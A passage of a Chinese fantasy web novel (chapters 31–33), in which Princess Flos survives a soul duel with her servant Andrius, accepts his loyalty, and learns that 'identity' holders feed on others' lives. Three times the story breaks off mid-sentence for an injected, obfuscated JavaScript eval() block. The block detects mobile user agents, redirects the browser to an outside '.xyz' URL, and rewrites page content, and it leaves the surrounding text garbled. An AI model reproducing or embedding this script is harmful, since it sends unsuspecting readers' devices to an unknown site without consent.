芙洛丝感觉心脏被一只看不见的大手狠狠地攥了一下。 糟糕。她居然让一个女儿,一个未成年的女儿,眼睁睁地看着自己的母亲如何死在自己眼前…… 答应安德留斯,答应安德留斯吧! 芙洛丝,你没有人性到这个地步吗?看着这一幕,你能无动于衷吗?该死的,答应安德留斯吧! 芙洛丝几乎要将那句话说出来了,“好,我答应你,安德留斯,我答应你——” “诶?” 母亲愣住了,她的身子停止了下陷。 因为大地深处那股诡异的吸力忽然消失了。 一秒。就差一秒。芙洛丝死死地咬着牙,嘴都僵硬到不是自己的了。冷汗在她的腮边流着。 大地重归平静,那些象征着死亡与污染的黑液渗过土壤,再度回到幽深的地底,寂寂无声,一如它们出现的时候那样,没有人知道为什么。 “去安抚一下那个女孩的情绪,”芙洛丝虚脱了,也放松了,说话都是飘的,“碧拉,你去把她的母亲拉出来。” 不幸中的万幸,女孩母亲的肩膀虽然也被“融化”了,整个肩膀都向外歪斜,但整体的形状还在,而且与之融合的只是大地表层的冬雪,只要等冰雪融化,应该就没什么大事了。 阳光普照的大地上,其余幸存的人也捡回一条性命。 他们当中虽然也有些人不慎踩到黑水,身体某些部位与冻土、石头、大地融合在了一起,但剔除了杂质后,都慢慢地恢复了知觉。 猜得果然没错,那种融化一切、将生灵拉入地底的“死”的意志,正是来自于大地本身。 “感谢神明,感谢安德留斯大人……”有人将双手高高举向天空,膜拜顶礼。痛哭流涕。 这些人……啧,算了。芙洛丝摇摇头,看向自己的手。 她的手现在是什么情况? 她的手和另一个死人的手缠在了一起,缠得忘生忘死,难分彼此,芙洛丝想将那个人的手指掰开,却发现它的手指已经和自己的手指融成一块肉冻了,根本无从下手。 芙洛丝心痛得要死,她一直知道自己是个冲动不顾后果的家伙,也知道自己总有一天会为此付出代价,但是,一只手? 这代价也太大了吧! 她还这么年轻,这就要变成残废了?她拼命地搓着自己的手指,完全没有任何知觉,尝试动一动手臂,也做不到。 大地上渐渐传来哭声,那是幸存者为不幸遇难的同胞所发出的哭声,芙洛丝听着,也有点儿想哭了。 她有种预感,时间拖得越久,她的手便被“死”侵蚀得更为彻底,虽然目前侵蚀没有蔓延的意思,她无需断臂求生,不过…… “殿下,你……”碧忽然开口。 芙洛丝看向她。 “碧,你没事吧?你的脸色好像比我还差。”芙洛丝草草扫了一眼,碧并没有受伤的迹象,但不知为何,脸色惨白地像从水里捞起来一样。 她艰难地移动了下脚步。她看起来想走到芙洛丝的身边来。 “安德留斯,已经败了吧?”碧这么问道。 芙洛丝忙着将自己软得像橡皮糖一样的手恢复原状,闻言只是“啊”了一声。 “他没动静了,应该是吧。” 她在为自己的手默哀。 这只手,这只帮她做了很多事,很有用也很漂亮的一只手,彻彻底底废了!如果以后都是这样,那她想要做的事,想要走完的道路…… “嗯?”芙洛丝一顿,似乎察觉到了什么,“碧,你有什么东西要给我吗?” 碧的双手背在身后,呼吸急促,下眼皮将眼珠都快顶得凸出来了,一副想要哭的样子。 芙洛丝知道碧一向很关心自己,如果自己失掉了一只手,她一定会比任何人都难过。 但芙洛丝还是觉得,碧的表情很怪。 她从什么时候这样的? 芙洛丝知道自己不应该怀疑碧,但还是调出【仆从】的呼吸网络来确认了一遍。 不会有错,这个人就是碧,就是自己的【仆从】。 那她为什么这样? 碧俯下身子,将自己的双臂慢慢地、慢慢地绕过芙洛丝的肩膀。她柔软而冰冷的头发弄得芙洛丝有点痒痒的。然后,她的手臂像一条蛇一样收紧了。 “芙洛丝……”她的声音带上了哭腔,经过一个不自然的长停顿后,她哭嚎道,“殿下……我、我真为你难过!我也……为这些可怜的村民感到难过,我——” 芙洛丝眨眨眼睛,不知道这是什么情况。 碧抱得更紧。 力度几乎要让她窒息。 另一边,小女孩正红着眼圈抱着劫后余生的母亲,不住地问碧拉:“是安德留斯大人救了我们,是吧?我就知道安德留斯大人不会不理我们的!是他吧,是吧?我就知道,有他在,我们能克服一切困难……” 碧拉笑得既温柔,又无奈,“我不知道。不过我觉得这件事一定和他有关系,以后,请带着神的祝福,好好地活下去吧。” 安妮跳了出来:“是啊,不过,要不要考虑以后换个地方好好生活?” “换地方?”母亲愣了,“可是,这是我们祖祖辈辈生活的家园……” 芙洛丝虽然不知道碧为什么走过来只是给自己一个拥抱,还像表忠心一样说什么“我以后会好好服侍您的”,但是也安慰了她,“也许这种情况只是暂时的。” 她应该是在为自己的手难过吧。应该……是吧。 “碧,”芙洛丝还是不放心,“也许你在心里并不认可我的做法,不认可我宁可放弃村民的性命,也不答应安德留斯的请求。你很想质问我,又没有勇气说出口,才表现得这样奇怪,是吗?” 她深吸了一口气,“很抱歉,我不能为了做一件正确的事,就向一个错误的人低头。” 里昂的话语犹在耳边,“芙洛丝,你不能让自己的弱点暴露在人前,这样,你是没有办法做到你想做的事的。” 而他,才刚刚给自己指出方向:神是存在的,那个声音确有其人,勇敢地走下去,去反抗神明吧。 “碧,”芙洛丝道,“我不能在一开始的时候就向他屈服。” 时候不早了,芙洛丝再度启程出发。不过,碧太奇怪了,她不得不留下碧,换成带安妮一起出发。 碧拉则留在村庄里,帮着这些人统计伤亡,重建家园。 芙洛丝得赶紧到附近的大都市,找个医师好好地看一看她的手。也许这只是麻痹的症状,找医师开剂药就没事了。这是最乐观的情况,希望如此。 小车摇摇,雪山遥遥。 一片狼藉的雪山和村庄,渐渐地落在身后。 太阳越升越高,照得人的脸庞一阵阵发烫。 不知道为什么,太阳好像比其他任何时候都更近。芙洛丝感觉有点晕,便用那只好手挡住太阳,突然听到安妮大叫。 “殿下,你、你流鼻血了!” 芙洛丝摸了摸人中,一阵濡湿的感觉。 居然是真的,她真的流鼻血了。 什么情况? 她从来没流过鼻血。 “等等,殿下,先别动,”安妮眼神惊恐,指着她,“你、你的眼睛也在流血啊!啊!别说话,殿下,你的嘴巴……” 冰冷的、滑腻的液体好像从脸上的各个孔洞涌了出来,受安妮情绪的影响,芙洛丝也有些慌乱,胡乱地摸着脸上。越摸,她的心越凉。 七窍流血?怎么会这样? 嗡———— 一种无法拒绝的威压从心脏弥漫向四肢百骸,芙洛丝感觉自己的心脏几乎不能跳动,浑身的血液也难以流动,整个人都被强制定在了原地。 还没有完全明白这是怎么一回事,那股压迫感竟然更强了。安妮已经跑到她身边来搀扶她,因为她像个木雕一样,栽倒了地上。 “殿下,殿下?你能不能听见我说话—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428064|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 安妮的声音落到耳朵里,变成了无意义的嗡嗡的声响。 这到底,是什么情况啊?! 是同类吗? 她在乡间小路上遇到了埋伏的同类?芙洛丝艰难地转动着脑筋,否则,她不可能好好变成这样。该死,那得赶紧把他找出来啊,不然的话…… 嗡!! “殿下,你的瞳孔……” 她感觉安妮好像摸了摸她的脸,又摸了她的手臂。 “殿下,你的脉搏怎么停止了?殿下……” 安妮说的话,芙洛丝一个字也听不清,只能听出来,安妮很慌。 那股威压,又变强了。 芙洛丝全身都置于那种压迫感之下,就像一只渺小的虫豸,被一只宽大的熊爪摁住了一样,动弹不得。 而那只熊爪还有向下摁的趋势。 芙洛丝被摁进了湿软的泥土中,先是头,然后是整个身体。她想要呼吸,想要动一动手脚和脑袋,却半点做不到。她就这么感受着那种窒息的绝望蔓延全身。 “殿下……你…………殿……山……” 什么……山? 什么山?安妮,把话说清楚啊。 她感觉安妮把自己抱上了车,然后疯了似的抽那匹骡子,好像要赶紧逃离这里似的。 在一片猩红的视角中,她看到了山。 恢弘的,壮丽的,雪白的—— 山! 那些雪山是如此伟大,以至于芙洛丝在它们面前完全喘不过气来。 然后,山倒了下去。 一座接着一座,像约定好了一样,牵着手似的倒了下去。 芙洛丝心里一阵震撼,她想起了安德留斯,想起了那个分身是雪山的男人。 只有当他吞噬力量的时候,山才会倒塌。 ……不会吧?他还在吗? “殿下,坚持住!只要我们离开安德留斯的领土,这种作用就会消失的,你就会好起来的,殿下,你一定要撑住啊!” 眼前越来越红了。不用照镜子,芙洛丝都知道自己的眼睛充血得可怕,她看着那些山一座座倒下去,就像在看遥远又近在咫尺的末日。 “不,安妮,没有用。”芙洛丝从未如此恐慌过,“不是……范围的原因……” 是安德留斯在吞噬这些山。 一座山的力量已足以使安德留斯失去人形,虚弱濒死,那么,两座山呢?三座山呢? 芙洛丝想起了村庄崩裂时安德留斯和她说话的语气,他的语气是那么冷,当时她以为那是他放狠话的原因,现在想想,不是。 是他在刻意压抑自己的痛苦与哀嚎! 从那个时候起,他就决定要吞噬山的力量了,他一早就想好了!他了解自己,知道先前的谈判手段都不管用,所以才想出了这么个恶毒的、两败俱伤的办法。他看似在和自己谈判,其实只是为了转移自己的注意力,现在,他苦苦积攒的那些力量终于显露出来,无视生与死的禁锢,开始反扑! 所以,现在无论安妮带着她跑多远,都没有用。 因为绑着她和安德留斯的,并不是其他,而是【公主】与【仆从】的身份。 安德留斯作为【仆从】,本应该屈居于她的下位,现在却有了一股强大到要脱离她的掌控的力量!这股力量太恐怖、也太疯狂了,远远不是她所能掌控的! 也就是说,她遇到了作为【公主】从未有过的难题:噬主。 该怎么办?该怎么办!她听到安妮撕心裂肺地问着自己,“殿下,要不这样吧?你答应安德留斯的请求吧?他的请求不是很简单,不就是让你带他出来吗?” “不!”芙洛丝几乎成了血人,却还死咬着不肯松口,“相信我,安德留斯也承受不了这股强大的力量!我不会让他得逞,不会……相信我,我们两个当中,一定会有一个先去世……我不会向他低头,不会……” 不会认输。 安德留斯,你想要两败俱伤,是吗? 是吗?! 那就来吧! 我很乐意和你赌上一赌,看看是谁先去世!芙洛丝内心疯狂地咆哮着。来,看一看我们谁会先低头! 是我,还是你?! ——然后,她听到了安德留斯的声音。 31. 向太阳 “真有趣,亲爱的,你在怕我吗?” 芙洛丝忽然发现,自己的身体升了起来! 地面飞速下坠,安妮、那辆小板车,还有那条乡间小路,都越变越小,很快就彻底消失在了一片茫茫的雪白之中。 而她升向云端,升向光热无穷的太阳,与她一起升起来的,还有安德留斯。 安德留斯眉目俊逸,浑身都成了金色,发丝也是。他金色的发丝在风中舒展,那双眼睛金光闪烁,神气十足。 在蔚蓝的天幕之下,他神圣宛如天父。 可……他不是在雪山吗? 为什么会和自己在云端里相遇? 芙洛丝仓猝往下看,透过锦缎一样层层舒展的云朵,她看到了自己。 ——自己的尸体! 芙洛丝的心狠狠一跳,什么,原来自己的灵魂脱离了自己的肉.体,升到了天上吗! 难道在和安德留斯较劲的时候,两个人一起……死了? 所以,一个人的灵魂能脱离肉.体多久?一秒?两秒?还是十秒? 她还有回去的机会吗? “亲爱的,”只听安德留斯用一贯的懒洋洋的语调笑道:“你怕你掌控不了我。你怕你即使被赐予了【公主】的身份,即使拥有了帝王一样至高无上的地位,也依然有掌控不了的对象,对吗?” “少放屁了!”芙洛丝怒目相视,“我怎么可能会掌控不了你?!” “那么,你还是怕我了?”安德留斯忽然靠了过来,用鹰隼一样锐利的目光逼视着芙洛丝,“你明明有绝对的控制权,却依然不敢接过我递给你的缰绳,是因为你害怕我,对吗?你害怕我的力量,忌惮我的反复无常。” 没有皮相的伪装与矫饰,灵魂形态的两个人额头抵着额头,坦诚相对。芙洛丝仰视着他,他的灵魂带着一圈意味不明的虚影,他的情绪与动机一览无遗。 “你难道就不想试一试吗?” 安德留斯那双灿金色的眼睛定定地看着她,像是要看到她的心里去一样,芙洛丝的心又是猛地一跳。 安德留斯将手指插进了她的头发中,语调带着无限蛊惑的意味,每一个字都像是在芙洛丝心里点火: “试着掌控你的对手,掌控一个邪恶又强大的仇敌,让他的力量为你所用,让他的神魂为你颠倒。你难道不想看到这副景象?还是说,我亲爱的……你怕自己会沉迷于这种掌控,不可自拔?” “你说什么?!”芙洛丝咬牙切齿挤出了这句话。 安德留斯下眼睑和嘴角的地方开始抽动,一个很浅很浅的小涡在他脸颊下边显现出来。酒窝。他笑得狰狞,整个灵魂都在发出空荡又凌厉的呼呼声。 “哦……原来你真的怕这个,哈哈哈——” 他居然觉得自己会害怕掌控欲,害怕掌控他! 芙洛丝心潮澎湃。 她在安德留斯眼中看到了挑战欲。 被倒影出来的、属于自己的浓浓的挑战欲! 安德留斯,你最知道怎么让我兴奋。 如果这是自己的肉身,一定呼吸急促、眼珠外凸,整颗心脏都如暴雨天打在湖面上的雨点一样狂跳不已,甚至于皮肤表层都压抑不住血液的沸腾,开始发红发烫。她一定会笑的。但这是灵魂状态。她只能感受到一股几乎要点燃全身的炙热。 她全身都要烧起来了! 天空无限高远,以无上之姿俯瞰一切。 在安德留斯癫狂的笑声中,两人的魂灵向着更高远处升去。 这样的上升是否有尽头?如果有,那是什么样的? 魂灵也会在这样的上升中害怕。 俗世已经离他们很遥远了。 隐隐害怕,又隐隐雀跃。 也许凡人一生孜孜以求的,不过就是这样的跨越。 两人都感受到了某种危机感,就像是时针不断前进、把时间抛在身后一样,他们都知道,稳步前进、不为任何人停留的时针就要跨过某个临界点。 ——跨过去的话,他们就回不去了。 “告诉我,你的目的是什么!”芙洛丝追问道,“你想离开那座雪山,肯定不只是因为孤独,你肯定有别的目的,告诉我!” “解惑,”安德留斯答得痛快,笑得痛快,“我为解惑而来。” 在这飞扬的笑声中,两人的灵魂一起熊熊燃烧。他们额头抵着额头,在彼此的视线中。 飞向太阳—— “殿下,殿下,你到底怎么样……” 芙洛丝睁开被血污糊住的眼皮,看见了抱着她哀恸大哭的安妮。 “殿下,如果你就这么走了,我、我……我一定会将安德留斯挫骨扬灰!连带他的雪山,我也会夷为平地,我会毁了他的一切,不计后果,殿下……” “殿下,你、你醒了!啊!”安妮又惊又喜,“你,你的心动和脉搏都停止了,你怎么还会醒过来?殿下,你赢了吗?刚刚到底发生了什么……” 芙洛丝咳嗽着,拼命地咳嗽着,像是要把五脏六腑都咳出来。 她之所以咳嗽,是因为—— 她想大笑。 “哈哈,哈,是啊,我赢了,”芙洛丝边喘着粗气边断断续续地说,她兴奋得过了头,兴奋得简直不知道该用什么动作来表达,“他可真是懂我,他激起了我无限的挑战欲,哈……” 她的瞳孔一片涣散。她像一个在万花筒里看到太多华丽璀璨景象的儿童,将视线移开之后,便短暂的目盲了。她脑海中还是那些白得耀眼的云朵,蓝如海洋的天际,绚丽的光线,还有尽头无限光明的太阳…… “殿下,你……”安妮看着芙洛丝的疯态,忐忑不安,“到底发生了什么,你还好吗?你——” “我们的灵魂触碰了太阳。” 芙洛丝再度醒来,是在北境某个村庄的医师家里。安妮守在她身边,一看到她睁开眼,就兴奋得大叫: “殿下,你终于好起来了!吓死我了,你说了一句好奇怪的话就晕倒了。怎么样,现在好一点儿了吧,身上还有哪里不舒服?” 芙洛丝醒来的第一件事,就是检查安德留斯的呼吸。 “安德留斯,我命令你醒过来,回答我的问题。” 安妮像一个极度缺乏耐心的牧羊人,将医师婆婆像赶小羊一样胡乱赶到了芙洛丝的房间,“我的主人醒了,你快去看看她!快去呀!” 芙洛丝任由那个婆婆检查身体。 她对安妮说:“我决定,接受安德留斯的要求。” 安妮的嘴巴张成了圆形,好半晌,才说出一句话来:“殿下,你一定是脑子哪里坏掉了。……不是,殿下,你为什么一下就答应了他的请求?” “因为——”她并没有想好怎么向其他人解释。 “因为,”安德留斯接过了她的话头,姿态无限谦卑,“我愿意献出我的全部忠诚,包括我的生命。” 他的声音很虚弱,但这种状态已足够支撑他装腔作势地说情话了。 这个人。芙洛丝嘴角忍不住上扬,“因为他和我有相同的目标,我和他,都想弄清楚那个声音是怎么一回事。基于这个前提,也许我们会摒弃前嫌,相处得不错。” 解惑。 安德留斯看来也对【身份者】力量的来源,以及背后的规则很感兴趣,他独自一人度过了漫长的岁月,一定知道很多自己不知道的信息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428065|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她已经等不及要发问了。 “那么,亲爱的殿下,对我下命令吧,”安德留斯的声音弄得她的心痒痒的,“给我一个命令,我就能修补好残破的身体,压制住体内暴动的力量,离开这些禁锢我的雪山,来到你的身边。好多天不见了,难道你不想我吗?” “不着急。” 芙洛丝态度悠然,“我还没给你套上嚼子和马鞍呢。我要你先去把我被埋在雪下的那几车嫁妆找出来,找到了,我再赐给你离开雪山的资格。至于你所求的另外两项,得看我心情,明白吗?” 医师婆婆检查完她的身体,神情像见了鬼一样,“噢哟”个不停。 “真是奇迹,真是奇迹……噢哟,这具身体明明死过一次,却还能醒过来,真是让老婆子我开了眼了,不过这手,这……” 她指的是芙洛丝与死人的指掌融在一起的那只左手。 “喂,安德留斯,”芙洛丝看着那只手,心情也好不起来,“我的手是怎么一回事,你肯定知道得最清楚吧?” 听说芙洛丝是因为救人的时候握住了受害者的手,左手才变成这样子的,安德留斯笑了。 “别害怕,亲爱的,我总是不忍心真的伤害你的。静养两三个月,你的手自然会好起来。” 此时芙洛丝根本理解不了这句“我总是不忍心真的伤害你的”,她脑海里只有两个人互不认输,互不低头,直到灵魂都脱离躯壳,飞向天际的那一幕。 他们都斗到双双升天了,还谈什么手下留情? “两三个月?那么久。”芙洛丝很不满,“只能等,没有其他办法吗?” 安德留斯听出了她的言外之意,“怎么,有什么要立刻去处理的事情吗?” 这件事情没什么好隐瞒的,芙洛丝便告诉了他:“我的追杀令上不是报告了我所在的地点,王都吗?有一些同类便嗅着气味过去找运气了。据我在那里安插的【仆从】报告,那里出现了最恶劣的、屠杀平民的情况,我得赶回去,阻止他们。” “安德留斯,我不喜欢将无辜的普通人牵扯进来。你懂吗?我要你向我发誓,今后绝不伤害普通人。” 并不是下命令的方式,而是要安德留斯主动发誓。 安德留斯品味了一下这两者的区别,温柔地“嗯”了一声。 “当然,亲爱的,在你的有生之年里,我属于你,不管你要我做什么,我都会答应。我完完全全属于你。” “至于手的事,我也爱莫能助,”安德留斯似乎是叹了口气,“我控制不了‘死’的影响,除了慢慢地等,没有其他办法。不过,请你放心,不管你想要做什么,我都会帮你去做的。” 他的语气温柔缠绵得要命。 “你想要其他同类的人头,你想要谁的,我就帮你把谁的取来。” 雪山,村庄。 “完了,我完了……”碧喃喃自语,忽然从椅子上跳起来,夺门而出。 她这几天一直表现得很神经质,据借给她们房子住的女主人说,她前天甚至用手指抓自己的脸,把脸抓得鲜血如注。 “她还一直说什么‘要死了’,碧拉,你当时真应该来看看,她的眼睛、耳朵、鼻子全在流血,呼吸都停了!幸好我给她灌了剂汤药,不然真不知道……唉,一个好端端的姑娘,怎么会变成这样?” 这几天,碧拉便跟在她身边,眼下她突然跑了出去,碧拉也就追了上去。 “碧!你看着我,你到底怎么了?” 碧只是仓惶摇头,一句话都说不出来。 因为安德留斯恶毒的声音已经钻进了她的脑子。 “现在你总该知道,谁有资格做你唯一的主人了,嗯?” 32. 黑暗律 离开雪山后的第三天,道路两边的绿色已经很多了。 低海拔地区的植物蓊蓊郁郁,路边尽是不知名的野花。风吹过叮叮咚咚的小溪,送来阵阵清爽的水汽。 安妮一路都兴致颇高,兴致勃勃地报告她们还离下一个村庄或城市有多远,她们启程时用的那辆小板车已经换成了装饰得很精美舒适的马车。 芙洛丝则是兴致缺缺。她已经派了使者去打探王都的情况,照她们和使者行路的速度来看,回信会被寄存在派吉沃格什城的驿站。 慢。太慢了。 没办法,作为【身份者】,她必须避开人口庞大的城市,选择更谨慎、也相对更远的一条路。 否则被其他的【身份者】探查到气息,行程又会拖延。 安德留斯大概就是在这个时候追上她们的。 远远地,芙洛丝就感觉到了他的气息,按理来说【身份者】们的气息大差不差,只是作为一个互相预警的雷达而已,但芙洛丝就是感觉出来了,那是安德留斯的气息。 也许是相互触碰过灵魂的原因,她觉得安德留斯的气息格外清冽、柔和,也格外熟悉。 “五百年没有出过雪山,第一次出门,一定觉得很新鲜吧,乡巴佬?” 安德留斯像只大猫一样,从窗户里“滑”了进来。 就和在雪山的那次一模一样。 芙洛丝只看了一眼,便赶紧嫌弃地移开了视线。 接连吞噬七座雪山的力量,让他连“人”的外形都很难保持,他的头盖骨、胸骨、手臂骨都露在外面,皮盖不住肉,肉全走了样,看上去就像纯粹由尸块拼成的怪物。 只有那双眼睛,还老老实实地待在眼眶里。他刻意留下了这个部位,就好像他知道这是他脸上最漂亮的部位一样。 “你居然用这个形态走在大路上?”芙洛丝必须捂住鼻子了,“没有人用乱箭射死你,真是你的万幸!” “所以,亲爱的,”安德留斯眨眨眼睛,撒娇道,“你就赶紧用命令把我变回来吧。” 安德留斯的样子固然很恶心,但要是用【公主】的命令让他恢复原样,芙洛丝又很不甘心。 毕竟她的手还没好呢。 像是看出了芙洛丝心中所想,那双漂亮的眼睛弯了一弯,“用王都的情报和你交换,换不换?” “你有王都的情报?”芙洛丝很怀疑。 “我活了这么多年,总有打听消息的独特方式,就当是我的小秘密吧。怎么样,你意下如何?” 芙洛丝还是不敢直视这种形态的安德留斯,她要吐了。 “说来听听。” “是使用火的【身份者】,”安德留斯坐到了芙洛丝的对面,“他一连烧毁了十一个街区,并且毫不掩饰自己的【身份】,他宣称自己是神,独自一人向整个国家开战,听说,要是不把【公主】交出来,他也不在乎,他要当的是费尔奇尔德王国的王。” “如果你下一站选的是一个大城市,也许就能收到费尔奇尔德王室征兵的消息了。哦,那你也得加快点速度,因为再晚上几天,你的姓氏就没那么好用了,到时候,费尔奇尔德一族就变成叛贼了。” 芙洛丝皱着眉头看他,“你怎么知道的?” “我的情报网超乎你的想象,亲爱的。顺带一提,”安德留斯将耷拉下去的嘴角提起来,挂在耳朵上,“我和你的能力都不好对付这个家伙,最好把你的领口拉低点,做好色诱的准备。如果他是个见到美女就流口水的傻瓜,也许会很乐意被你吻一下的——哦,谢谢。” 芙洛丝实在是看不下去他用那张嘴张张合合地说话了。她闭了下眼睛,“还没有交手呢,你怎么就知道我一定会输给他?” “【身份者】感应到彼此的极限距离大概是五百米吧?” 安德留斯很满意自己的身体,活动了下手腕,又交叉两条长腿,摆出了一个很惬意的坐姿,“他操纵火焰的距离却远远超过了五百米。不然,你以为他为什么要烧毁十一个街区?这个家伙极端暴躁多疑,一察觉到有同类接近,便疯狂地放火。据我所知,他起码结果了两个【身份者】和一千多名无辜平民的性命。” “我和你,想要接近他都很困难。想想也真是不公平啊,那个声音赐予我们的能力在范围上居然有这么大的差异,你的能力需要贴脸才能发动,那个纵火犯却能把火放在五百米以外,我们都被他衬托得像个傻瓜了。” 芙洛丝还是持怀疑态度,安德留斯的信息有几分可信,等到了派吉沃格什城自有定夺。王都的战况固然让人担忧,但芙洛丝对那个声音和背后的规则也很感兴趣,这是她一直想了解的事情。 “里昂告诉过我,【身份】跟自身强烈的愿望有关系,那个纵火犯的能力,应该也跟他的‘愿望’有关系,也许可以顺着这个思路想下去。” 谁知安德留斯眼睛睁得大大的,一副很诧异的样子,“哦……原来他是这样理解这件事情的。” 怎么,不是吗?芙洛丝疑惑地看着他。 “如果照他的说法,那每个【身份】就是为每个人定制的,理应独一无二,对吧?”安德留斯笑了,“可是,在我漫长的生涯中,我见证过同一【身份】的两度降临。” “与其说是人类的愿望强烈到获得了神明的瞥视,不如说是神明一开始就在人间寻找适合【身份】的最佳人选。人类不是因为‘愿望’才获得了超越自身的力量,而是因为与生俱来的‘资质’。” 资质。 芙洛丝微微惊讶,安德留斯的主张倒是和她一开始的设想一样。 被选为【身份者】的人,一定有自己都没有意识到的某种特殊之处。 “说下去。” 安德留斯继续道:“就像有的人生下来就适合当画家一样,有的人却一板一眼,只对逻辑和规矩感兴趣;有的人生下来就适合当芭蕾舞者,有的人却天生身体僵硬,毫无协调可言。【身份】也是如此。有些人,天生就适合某个【身份】。有些人的资质可能要等到某个契机才显现,有些人却一出生就显现了。” “芙洛丝,你知道吗?”安德留斯目光微闪,“你是唯一一个从一出生就被赐予【身份】,却没有获得与之相匹配的能力的异类。别说什么‘天生会招人喜欢’,这充其量只能算是附赠的魅力。【身份者】的能力,要像你的吻那样,轻轻的一吻,足以颠倒生死的界限,那才算是能力。” “你知道这是为什么吗?” 安德留斯果然带来了极有价值的信息。芙洛丝的身子都忍不住微微前倾,“说下去。” 也许,这就是她为什么会被带到这个世界来的原因。 “因为同你一起,还有另一个人也显现了同样的‘资质’。” 安德留斯竖起两根手指,“换句话说,在你降临的那一天,世界上出现了两个极度匹配【公主】这个【身份】的人。至于【公主】的‘资质’,我猜,至少要有举世无双的美貌吧,这样才能让其他【身份者】忽视致命的危险,心甘情愿被你吻那么一下。” “总之,那个声音在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428066|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们之间徘徊纠结,最终决定,将【公主】这个【身份】赐给你。那个声音从来不会看走眼的。既然你拿走了【公主】,和你具有同等‘资质’的人便很有可能被赐予了其他的【身份】。” “如果那个人还没死的话,你也许会在未来的征途中与她相遇。亲爱的,打败另一个自己,可比打败任何其他人都难得多,但是放心,我会帮你的。” 安德留斯笑眯眯地摸了摸她的脸,然后,僵住了。 芙洛丝正津津有味地听着,被他的反应弄得一愣,“怎么了?” “你发烧了,你不知道吗?”安德留斯轻轻地掐了一下她的脸蛋,“温度再高一点儿,你的脑袋都能被烧坏了。几天了,你居然一直没发现?” 芙洛丝自己用手贴了贴额头,没什么感觉。 不过,最近思维是比较迟钝,她以为是死而复活的后遗症,不甚在意,毕竟,灵魂都离体了那么久,精神有点错乱,也是正常的。 “我从来没发过烧。”她说。 安德留斯点头,“嗯,嗯,我知道,你的身体素质一向很好。所以,该怎么办?” “什么怎么办?”芙洛丝眉头皱得更深了,“你问我啊。” 安德留斯微笑着,语气理所当然,“亲爱的,我也是【身份者】,我也没发过烧。” 发烧,当然是找点药吃吃了。不过芙洛丝不打算停下脚步,去找什么医师,这样只会浪费时间。【身份者】的身体素质都不错,不吃药,自己也会很快好起来的。 芙洛丝的想法完全写在了脸上。 “去找个医师看看吧。”安德留斯深深地看了她一眼,“你赶到王都,也什么都做不了,只会比别人烧得更快而已。” “闭嘴。”芙洛丝踩了他一脚,狭窄的车厢里,安德留斯没什么地方好躲,便轻轻地“啊”了一声,满脸委屈。 “我没有那么脆弱,少泼冷水。”芙洛丝恶狠狠地警告道。 她想问的问题还是太多了。 “你说的两度降临的【身份】,是怎么一回事?” 她发问,安德留斯便回答: “那当然是因为,被选中的人没有履行他们所属的【身份】的职责,所以,那个声音便只能把这个【身份】给其他人。你的追杀令就是这么一回事,你使用【公主】的能力并不多,对吗?” 芙洛丝微怔,“所以,使用能力,就是履行职责?拥有能力而不使用的人,就是失职,就会被抹杀?” “不。”安德留斯摇头。 “更多的情况是,使用能力太多、完美履行了职责的人。芙洛丝,你以为每个人都能克制自己内心的贪欲吗?” 安德留斯现出一缕高深莫测的笑容。 “拜托,我们本质都是普通人,没有哪一个普通人得到这样的能力会无动于衷的,就像王都那个想要登上王位的纵火犯,攫取财富、地位,才是常态。” “我想要告诉你的是,不使用能力,会被追杀;使用能力过多,也会被杀。追杀令更多的是颁给使用能力过多的人,他们完美地履行了职责,所以,他们的【身份】也就可以被收回了。” “【身份】正是为了被收回才发出去的。” “回答我,芙洛丝,”安德留斯唇边的笑意忽而扩大了,“你是否经常感到饥饿,不管吃什么,吃多少,都有种吃不饱的感觉?” 饥饿。芙洛丝瞳孔一缩。 这个小反应被安德留斯捕捉到,他得意地笑了,“啊,这就是最可怕的地方了。” 33. 饥饿感 芙洛丝很早就意识到了,自己的饭量比其他人大得多,而且怎么吃都吃不饱。 找了很多医师看,却查不出一点毛病。 在她打败帕尔索之后,她对这个问题有了自己的猜测。不知道安德留斯给出的答案,会不会与她想的一样…… “你猜的没错,”安德留斯微笑道,“‘饥饿’正是我们必须支付的代价。获得【身份】时,我们会饥饿;使用能力,也会饥饿。很多【身份者】觉醒的时候都会精神失控,屠杀身边一切可见之物,正是因为饥饿。 “人类的食物已不能让我们满足,摄入再多,也无益处。 “我们的食物是生命。 “人类的生命是劣质的,吃得再多也缓解不了什么。同类的生命,才是优中之优。帕尔索和里昂的生命在你手上流逝的时候,你一定十分畅快吧?在你的有生之年,你很难再找到那样美妙的滋味,也很难获得那样的饱腹感了。” 也就是说,芙洛丝的心沉了下去,只有他们能感受到的【同类】的气息,从某种意义来说,不是危险的预警,而是…… 饕餮盛宴开始前,勾人食虫的浓香! 